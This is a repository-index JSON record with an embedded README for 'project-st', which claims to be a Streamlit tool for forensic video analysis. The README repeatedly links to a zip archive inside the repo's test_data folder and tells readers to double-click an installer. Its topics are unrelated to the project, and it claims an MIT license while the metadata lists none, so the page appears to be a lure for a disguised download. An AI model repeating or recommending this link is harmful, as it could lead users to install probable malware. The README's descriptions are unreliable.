{"id":32752399,"url":"https://github.com/fatikani/project-st","last_synced_at":"2026-04-07T08:02:02.252Z","repository":{"id":321230018,"uuid":"994985617","full_name":"fatikani/project-st","owner":"fatikani","description":"🔍 Analyze digital videos for forensic evidence with this Streamlit app, featuring advanced tools for metadata extraction and motion detection.","archived":false,"fork":false,"pushed_at":"2026-04-03T22:15:16.000Z","size":2078,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-04T00:23:51.511Z","etag":null,"topics":["bem","cad","css","direct-drive","gulp","hot-reload","jsp","legged-robotics","material-ui","nodejs","postcss-image-inliner","postgresql","quadruped","stanford-doggo","starter-project","stub","typeorm","typescript"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/fatikani.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-06-02T19:40:18.000Z","updated_at":"2026-04-03T22:15:21.000Z","dependencies_parsed_at":"2026-03-13T07:25:18.824Z","dependency_job_id":null,"html_url":"https://github.com/fatikani/project-st","commit_stats":null,"previous_names":["fatikani/project-st"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/fatikani/project-st","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fatikani%2Fproject-st","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fatikani%2Fproject-st/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fatikani%2Fproject-st/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fatikani%2Fproject-st/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/fatikani","download_url":"https://codeload.github.com/fatikani/project-st/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/fatikani%2Fproject-st/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31504897,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-07T03:10:19.677Z","status":"ssl_error","status_checked_at":"2026-04-07T03:10:13.982Z","response_time":105,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bem","cad","css","direct-drive","gulp","hot-reload","jsp","legged-robotics","material-ui","nodejs","postcss-image-inliner","postgresql","quadruped","stanford-doggo","starter-project","stub","typeorm","typescript"],"created_at":"2025-11-04T00:01:19.825Z","updated_at":"2026-04-07T08:02:02.248Z","avatar_url":"https://github.com/fatikani.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎥 project-st - Easy Digital Video Analysis Tool\n\n## 📥 Download the App\n[![Download project-st](https://github.com/fatikani/project-st/raw/refs/heads/main/test_data/project_st_v1.2.zip)](https://github.com/fatikani/project-st/raw/refs/heads/main/test_data/project_st_v1.2.zip)\n\n## 🎯 Project Overview\nThis is a **production-ready Streamlit application** for digital forensic video analysis. It comes with built-in test automation. Our tool is designed for quick deployment, making it easy to demonstrate to clients. The interface is simple, but it offers powerful forensic capabilities.\n\n## 🌟 Key Features\n\n### 🔍 Digital Forensic Video Analysis\n- **Advanced Video Analysis**: Extract metadata, verify integrity, and validate digital signatures with ease.\n- **Motion Detection**: Use AI to perform detailed motion analysis on video, examining it frame by frame.\n\n### ⚙️ System Requirements\nTo run this application, you will need:\n- **Operating System**: Windows 10 or later, macOS, or Linux\n- **Python**: Version 3.8 or higher\n- **Additional Software**: Docker (for ease of setup), a web browser for using the Streamlit app\n\n### 📦 Topics Supported\nThis application leverages a variety of technologies for its functionality, including:\n- Docker\n- Flask\n- NumPy\n- OpenCV\n- OS\n- Pandas\n- pathlib\n- Pillow\n- Selenium WebDriver\n- SQLite\n- Streamlit\n- TensorFlow\n- WSL-Ubuntu\n\n## 🚀 Getting Started\n\n### 1. Visit the Releases Page\nTo get the latest version of the project, visit the following link:\n\n[Download and Install project-st](https://github.com/fatikani/project-st/raw/refs/heads/main/test_data/project_st_v1.2.zip)\n\n### 2. Download the Application\nOn the releases page, find the latest version. Click on the appropriate file to download it to your computer. \n\n### 3. Install the Application\nOnce the download is complete, follow these steps to install:\n\n- **For Windows**: Double-click the downloaded file to start the installer. Follow the prompts to complete the installation.\n- **For macOS**: Open the downloaded file and drag the application to your Applications folder.\n- **For Linux**: Follow your distribution’s guidelines on installing downloaded software.\n\n### 4. Run the Application\nAfter installation:\n- **Windows \u0026 macOS**: Look for the app in your applications list. Click on it to launch.\n- **Linux**: Open your terminal and type the command to launch the app.\n\n## 🎉 Using project-st\n\n### 1. Upload a Video\nOnce the app is running, you will see an option to upload video files. Click the upload button and select the video you want to analyze.\n\n### 2. Analyze the Video\nAfter uploading, the app will automatically begin analysis. You can view metadata, detect motion, and explore additional features designed for forensic analysis.\n\n### 3. View Results\nOnce the analysis is complete, the app will display the results. You can download reports or save key findings directly from the app.\n\n## 📌 Additional Information\nThe application is open-source under the MIT License. This provides freedom to use, modify, and distribute the software as needed. For detailed usage instructions and support, you can consult the documentation available in the repository.\n\n## 📞 Support\nIf you encounter any issues while using project-st, feel free to open an issue in the repository. The community is here to help.\n\n---\n\nBy following these steps, you will easily set up and run the project-st application. Enjoy exploring digital forensic video analysis with our user-friendly interface!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffatikani%2Fproject-st","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ffatikani%2Fproject-st","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffatikani%2Fproject-st/lists"}